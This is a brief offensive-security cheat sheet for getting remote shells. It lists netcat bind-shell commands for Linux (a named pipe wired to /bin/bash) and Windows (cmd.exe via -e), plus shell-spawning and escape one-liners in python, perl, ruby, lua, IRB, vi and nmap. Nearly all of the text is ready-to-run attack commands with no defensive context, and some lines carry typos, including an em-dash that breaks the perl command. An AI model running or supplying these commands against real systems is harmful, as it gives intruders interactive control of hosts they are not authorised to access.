Command execution to Shell with Netcat

• Linux (Host) with netcat

• $ mkfifo foo

• $ nc -lk 2600 0<foo | /bin/bash 1>foo         /*2600 is port*/

On Attacking Maching: $ nc ip 2600




• Windows (Host) with netcat
• nc -nlvp 4444 -e cmd.exe

Shell Spawning

python -c 'import pty; pty.spawn("/bin/sh")'

echo os.system('/bin/bash')

/bin/sh -i

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

ruby: exec "/bin/sh"

lua: os.execute('/bin/sh') 

(From within IRB) exec "/bin/sh" 

(From within vi):!bash 

(From within vi) :set shell=/bin/bash:shell

(From within map) !sh